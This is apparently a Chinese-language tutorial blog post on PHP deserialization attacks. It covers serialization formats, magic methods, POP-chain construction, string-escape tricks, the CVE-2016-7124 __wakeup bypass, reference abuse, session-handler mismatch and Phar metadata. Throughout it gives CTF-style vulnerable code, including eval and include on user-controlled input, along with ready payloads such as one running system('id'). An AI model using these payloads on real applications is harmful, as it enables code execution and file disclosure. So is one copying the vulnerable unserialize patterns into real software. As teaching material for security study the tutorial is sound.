PHP反序列化

Chiexf Lv4

0x00 反序列化原理

反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行

0x01 表达方式

serialize序列化:所有格式第一位都是数据类型的英文字母简写

  • 空字符
1
null --- N;
  • 整型
1
666 --- i:666;
  • 浮点数
1
66.6 --- d:66.6;
  • Boolean型
1
2
true --- b:1;
false --- b:0;
  • 字符串
1
'kkk' --- s:3(长度):"kkk";
  • 数组
1
2
array('kkk');
a(array):3(参数数量):{i:0(编号);s:3:"kkk";}
  • 对象
1
2
3
注:不能序列化类,可以序列化对象;只序列化成员变量,不序列化成员函数。

O(object):4(类名长度):"test"(类名):1(变量数量):{s:3(变量名字长度):"pub"(变量名字);s:3:"kkk";}
  • private私有属性序列化
1
2
3
注:在变量名前加“%00类名%00”.

O:4:"test":1:{s:9(变量名字长度):"testkkk"(变量名字);}
  • protected受保护属性序列化
1
2
注:在变量名前加“%00*%00”
O:4:"test":1:{s:6(变量名字长度):"*kkk"(变量名字);}

0x02 魔术方法

什么是魔术方法?

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

在特定条件下自动调用相关方法,最终导致触发代码。

0x03 构造和析构魔术方法

_construct()

  • 构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>

/*

输出结果:
触发了构造函数1次

分析:
实例化对象时触发构造函数_construct(),序列化和反序列化不会触发。

*/

_destruct()

  • 析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class User {
public function __destruct() {
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>

/*

输出结果:
触发了析构函数1次
触发了析构函数1次

分析:
实例化对象结束后,代码运行完会销毁,触发析构函数_destruct();
当使用unserialize()函数时,会尝试重新创建原始对象。当使用完后会销毁,触发析构函数_destruct()。

*/

析构函数例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>

/*

分析:
unserialize()触发destruct()函数,destruct()函数执行eval()函数,eval()触发代码。

payload:
O:4:"User":1:{s:3:"cmd";s:13:"system('id');";}

/*

0x04 weakup和sleep魔术方法

_sleep()

  • 序列化serialize()函数会检查类中是否存在魔术方法_sleep(),如果存在会先调用该方法,然后在执行序列化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

/*

输出结果:
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

分析:
序列化前先触发了魔术方法_sleep(),_sleep()执行返回需要序列化的变量名,并且只序列化_sleep()返回的变量。

*/

_wakeup()

  • unserialize()函数会检查是否存在魔术方法_wakeup()。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

/*

输出结果:
object(User)#1 (4) {
["username"]=>
string(1) "a"
["nickname"]=>
string(1) "b"
["password":"User":private]=>
string(1) "a"
["order":"User":private]=>
NULL
}

分析:
反序列化前先触发了魔术方法_wakeup()给password赋值。

*/

0x05 toString和invoke魔术方法

_toString()

  • 把对象当成字符串调用会导致魔术方法_toString()触发。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);

echo PHP_EOL;
var_dump($test);

echo PHP_EOL;
echo $test;

?>

/*

输出结果:
User Object
(
[benben] => this is test!!
)

object(User)#1 (1) {
["benben"]=>
string(14) "this is test!!"
}

格式不对,输出不了!

分析:
把类User实体化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump,而echo或者print将对象当成字符串调用,此时会自动触发_toString()。

*/

_invoke()

  • 把对象当成函数调用会导致魔术方法_invoke()触发。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo PHP_EOL;
echo $test() ->benben;
?>

/*

输出结果:
this is test!!
它不是个函数!

分析:
把类User实体化并赋值给$test,此时$test是个对象,当加上()后是把对象$test当成函数$test()调用,导致触发__invoke()。
*/

0x06 错误调用魔术方法

_call()

  • 调用一个不存在的方法即可触发魔术方法_call()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>

/*

输出结果:
callxxx,a

分析:
调用方法callxxx()不存在,触发魔术方法_call(),传参$arg1,$arg2(callxxx,a),返回调用的不存在的方法的名称和参数。

$arg1:调用的不存在的方法的名称;
$arg2:调用的不存在的方法的参数。

*/

_callStatic()

  • 静态调用或者调用成员常量时使用的方法不存在即可触发魔术方法_callStatic()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class User {
public static function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>

/*

输出结果:
callxxx,a

分析:
静态调用::时的方法callxxx()不存在,触发魔术方法_callStatic(),传参$arg1,$arg2(callxxx,a),返回调用的不存在的方法的名称和参数。

*/

_get()

  • 调用的成员属性不存在即可触发魔术方法_get()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>

/*

输出结果:
var2

分析:
调用的成员属性var2不存在,触发魔术方法_get(),把不存在的属性名称var2赋值给$var1,返回不存在的成员属性的名称。

*/

_set()

  • 给不存在的成员属性赋值即可触发魔术方法_set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>

/*

输出结果:
var2,1

分析:
给不存在的成员属性var2赋值,触发魔术方法_set(),返回不存在的成员属性的名称和赋的值。

$arg1:不存在的成员属性的名称;
$arg2:给不存在的成员属性var2赋的值。

*/

_isset()

  • 对不可访问属性使用isset()empty()时,即可触发魔术方法_isset()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User {
private $var;
public function __isset($arg1)
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
echo PHP_EOL;
empty($test->var);
?>

/*

输出结果:
var
var

分析:
isset()调用的成员属性var不可访问或不存在,触发了魔术方法_isset(),返回不存在的成员属性的名称。

*/

_unset()

  • 对不可访问或不存在的属性使用unset()时即可触发魔术方法_unset()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User {
private $var;
public function __unset($arg1)
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>

/*

输出结果:
var

分析:
unset()调用的成员属性var不可访问或不存在,触发了魔术方法unset(),返回不存在的成员属性的名称。

*/

_clone()

  • 当使用clone()拷贝完成一个对象时,新对象会自动调用定义的魔术方法_clone()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class User {
private $var;
public function __clone()
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>

/*

输出结果:
_clone test

分析:
使用_clone克隆对象完成后,触发魔术方法_clone()。
*/

0x07 POP链构造及POC构造

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//flag is in flag.php
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
  • 目标:触发echo,调用$flag
  • 第一步 :触发invoke()**(对象当成函数调用)**,调用append($value),并使$var=flag.php
  • 第二步:触发get()**(调用的成员属性不存在)**,给$p赋值为new Modifier()
  • 第三步:触发toString**(把对象当成字符串调用)**,给$str赋值为new Test()
  • 第四步:触发wakeup(反序列化时触发),给$source赋值为new Show()
  • poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
//flag is in flag.php
class Modifier {
private $var = 'flag.php';
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
// public function __construct(){
// $this->p = array();
// }

public function __get($key){
$function = $this->p;
return $function();
}
}

//if(isset($_GET['pop'])){
// unserialize($_GET['pop']);
//}

$mod = new Modifier();
$test = new Test();
$test->p = $mod;
$show = new Show();
$show->source = $show;
$show->str = $test;
echo serialize($show);

?>

//注意var是private,Modifiervar的%00记得加。


payload:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

0x08 字符串逃逸

  • 反序列化以;}结束,后面的字符串不影响正常的反序列化。
  • 属性逃逸:

​ 一般数据先经过一次serialize()后再经过unserialize(),在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

字符串逃逸—减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class A{
public $v1 = "abcsystem()";
public $v2 = '123';
}
$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump($data);
var_dump(unserialize($data));
?>

/*

输出结果:
string(59) "O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}"
string(51) "O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}"
bool(false)

分析:
利用str_replace()函数,将system()替换为空后,破坏了字符串,识别11位变成了abc";s:2:"v。

*/
  • 目标:构造出v3=123逃逸。
  • 修改v2的值来补全格式

​ 最开始破坏的字符:

​ O:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2”;s:3:”123”;}

​ 通过修改字符串补全格式,并使后面的字符串变成功能性代码:

​ O:1:”A”:2:{s:2:”v1”;s:?:”abc”;s:2:”v2”;s:xx:”;s:2:"v3";s:3:"123";}

1
2
3
4
需要被吃掉的字符  abc";s:2:"v2";s:xx:  共19个
1个system()有8个字符 共需要3个system()
一共吃掉abc+3个system()有27个字符
多出8个字符,所以需要在v2中在补充8个字符,即7个字符+一个引号".
  • poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '1234567";s:2:"v3";s:3:"123";}';
}
$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump($data);
var_dump(unserialize($data));
?>

/*

输出结果:
string(102) "O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}"

string(78) "O:1:"A":2:
{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}"

object(A)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:29:"1234567"
["v2"]=>
string(29) "1234567";s:2:"v3";s:3:"123";}"
["v3"]=>
string(3) "123"
}

注:v2是从类中直接调用的。
*/

字符串逃逸—增加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class A{
public $v1 = 'ls';
public $v2 = '123';
}
$data = serialize(new A());
var_dump($data);
$data = str_replace("ls","pwd",$data);
var_dump($data);
var_dump(unserialize($data));
?>

/*

输出结果:
string(49) "O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}"
string(50) "O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}"
bool(false)

分析:
利用str_replace()函数,将ls替换为pwd后,增加了以1位字符,破坏了字符串,识别2位变成了pw,挤出末尾的d字符。

*/
  • 目标:构造出v3=123逃逸

  • 修改v1的值来补全格式

最开始破坏的字符

O:1:”A”:2:{s:2:”v1”;s:2:”pwd“;s:2:”v2”;s:3:”123”;}

通过修改字符串补全格式,并使后面的字符串变成功能性代码:

O:1:”A”:2:{s:2:”v1”;s:2:”pwd";s:2:"v2";s:3:"123";}s:2:”v2”;s:3:”123”;}

1
2
增加的字符 ";s:2:"v2";s:3:"123";} 共22位
一个ls转换成pwd多出来1位字符,所以需要22个ls转换成pwd
  • poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A{
public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}';
public $v2 = '123';
}
$data = serialize(new A());
var_dump($data);
$data = str_replace("ls","pwd",$data);
var_dump($data);
var_dump(unserialize($data));

/*

输出结果:
string(114) "O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}";s:2:"v2";s:3:"123";}"
string(136) "O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"123";}";s:2:"v2";s:3:"123";}"
object(A)#1 (3) {
["v1"]=>
string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
["v2"]=>
string(3) "123"
["v3"]=>
string(3) "123"
}

注:v2是直接从类中获取。
*/

0x09 _weakup()绕过

  • 反序列化漏洞:CVE-2016-7124
  • php5 < php5.6.25
  • php7 < php7.0.10

漏洞产生原因

当序列化字符串中表示对象属性个数的值大于真是的属性个数时,会跳过**_weakup()**的执行。

eg:

O:1:”A”:2:{s:2:”v1”;s:2:”kk”;s:2:”v2”;s:3:”123”;}

O:1:”A”:3:{s:2:”v1”;s:2:”kk”;s:2:”v2”;s:3:”123”;}

_weakup()绕过例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
  • 目标:触发echo,调用$flag
  • 第一步 :触发destruct()**(在对象的所有引用被删除或者当对象被显式销毁时触发)**,并使$file=flag.php
  • 第二步:初步得到 O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
  • 第三步:将属性个数1改为2,绕过weakup()
  • 第四步:由于正则preg_match('/[oc]:\d+:/i',$cmd),所以在o:后不能有数字,可以在数字前添加+url编码绕过
  • poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class secret{
var $file='flag.php';
// var $file='index.php';

// public function __construct($file){
// $this->file=$file;
// }

function __destruct(){
// include_once($this->file);
// echo $flag;
}

// function __wakeup(){
// $this->file='index.php';
// }
}
//$cmd=$_GET['cmd'];
//if (!isset($cmd)){
// highlight_file(__FILE__);
//}
//else{
// if (preg_match('/[oc]:\d+:/i',$cmd)){
// echo "Are you daydreaming?";
// }
// else{
// unserialize($cmd);
// }
//}

echo serialize(new secret());

//sercet in flag.php
?>

payload:
O:%2B6:"secret":2:{s:4:"file";s:8:"flag.php";}

0x10 序列化引用

序列化引用例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
  • 目标:让$enter等于$secret的值
  • 第一步:$pass=str_replace('*','\*',$pass),过滤了*,选择引用**&**的方式。
  • 第二步:构造序列化字符串,让$enter引用**&**$secret的值
  • poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

//if (isset($_GET['pass'])) {
// $pass = $_GET['pass'];
// $pass=str_replace('*','\*',$pass);
//}

//$o = unserialize($pass);

//if ($o) {
// $o->secret = "*";
// if ($o->secret === $o->enter)
// echo "Congratulation! Here is my secret: ".$flag;
// else
// echo "Oh no... You can't fool me";
//}
//else echo "are you trolling?";

$just4fun = new just4fun();
$just4fun->enter = &$just4fun->secret;
echo serialize($just4fun);
?>

payload:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

/*

注:
R 代表引用,2 代表enter
secret值和enter值一样
secret值发生变化则enter的值同样发生变化

*/

0x11 Session反序列化

  • session_start()被调用或者php.ini中的session.auto_start1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录**(/tmp)**。
  • 漏洞产生:写入格式和读取格式不一致
  • 存储数据的格式有多种,常用的有三种

存储格式

处理器 对应的存储格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数序列化处理的数组
php_binary 键名的长度对应的ASCII字符+键名s+经过serialize()函数反序列化处理的值

session-php格式

  • 默认情况下用php格式存储
1
2
3
4
<?php
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>
  • 浏览器输入
1
?ben=dazhuang
  • 得到
1
benben|s:8:"dazhuang";

session-php_serialize格式

  • 需声明session存储格式为php_serialize
1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
  • 浏览器输入
1
?ben=dadzhuang&b=666
  • 得到
1
a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666"}

session-php_binary格式

  • 需声明session存储格式为php_binary
1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
  • 浏览器输入
1
?ben=dazhuang&b=666
  • 得到
1
ACKbenbens:8:"dahzhuang";SOHbs:3:"666"

Session反序列化例题

  • 分析源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
  • 目标:name=her
  • 由于$this->her=md5(rand(1, 10000)),使用引用**&**确保相等
  • poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
// function __wakeup(){
// $this->her=md5(rand(1, 10000));
// if ($this->name===$this->her){
// include('flag.php');
// echo $flag;
// }
// }
}
$flag = new Flag();
$flag->name = &$flag->her;
echo serialize($flag);
?>

payload:
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
  • 访问hint.php,分析源代码
  • php_serialize格式存储session的值
1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
  • 由于是以php格式读seesion值,所以在提交payload时添加竖线|,构造完整payload
  • 在浏览器提交:
1
?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
  • 存储进去的session值为
1
a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

0x12 Phar反序列化

  • 可以认为PharPHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
  • 默认开启版本 PHP>=5.3
  • 文件包含:phar伪协议,可读取 .phar文件。

Phar结构

  • stub

phar文件标识,格式为xxx<?php xxx;__HALT_COMPiLER();?>;。**(头部信息)**

  • manifest

压缩文件的属性等信息,以序列化存储。

  • contents

压缩文件的内容。

  • signature

签名,放在文件末尾。

注:Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

漏洞原理

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

利用条件

  • phar文件能上传到服务器。

  • 要有可用反序列化魔术方法作为跳板。

1
2
destruck()
weakup()
  • 要有文件操作函数
1
file_exists()、fopen()、file_get_contents()等
  • 文件操作函数参数可控,且 /、 phar等特殊字符没有被过滤。

例题: